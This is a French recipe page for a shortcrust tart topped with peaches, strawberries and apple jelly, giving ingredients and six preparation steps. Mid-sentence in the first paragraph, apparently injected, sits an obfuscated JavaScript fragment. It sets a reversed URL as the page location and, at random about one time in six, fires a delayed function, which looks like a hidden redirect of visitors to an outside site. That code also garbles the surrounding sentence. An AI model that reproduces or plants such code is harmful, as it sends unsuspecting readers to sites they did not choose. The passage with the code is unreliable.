Croûte sablée aux fruits
2017-12-30- Thématique : Végétarien
- Niveau : Facile
Dans une petite casserole faites légèrement fondre la gelée de pommes. Laissez refroidir.
Battez l’œuf avec le sucre. Ajoutez la farine, la levure, le beurre ramolli. Formez une boule de pâte. Étalez la pâte. Foncez une tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tourtière beurrée.
Ingrédients
- Pour 6 personnes
- 40 g de sucre en poudre
- 1 œuf
- 60 g de farine
- 60 g de beurre ramolli
- 1 sachet de levure chimique
- Garniture
- 4 cuillères à soupe de gelée de pommes
- 4 pêches
- 200 g de fraises
- 2 cuillères à soupe de sucre glace
Préparation de la recette
Etape 1
Dans une petite casserole faites légèrement fondre la gelée de pommes. Laissez refroidir. Battez l’œuf avec le sucre.
Etape 2
Ajoutez la farine, la levure, le beurre ramolli. Formez une boule de pâte. Étalez la pâte. Foncez une tourtière beurrée.
Etape 3
Piquez le fond avec une fourchette. Couvrez de papier sulfurisé et de haricots secs. Préchauffez le four à 150°C thermostat 5.
Etape 4
Enfournez et faites cuire pendant 25 minutes. Laisser refroidir. Pelez, coupez les pêches en deux. Ôtez le noyau. Détaillez les en en petits quartiers.
Etape 5
Équeuter les fraises. Répartissez les pêches et les fraises. Sucrez.
Etape 6
Nappez de gelée de pommes. Laissez refroidir. Placez au frais. Au moment de servir saupoudrez de sucre glace. Dégustez.
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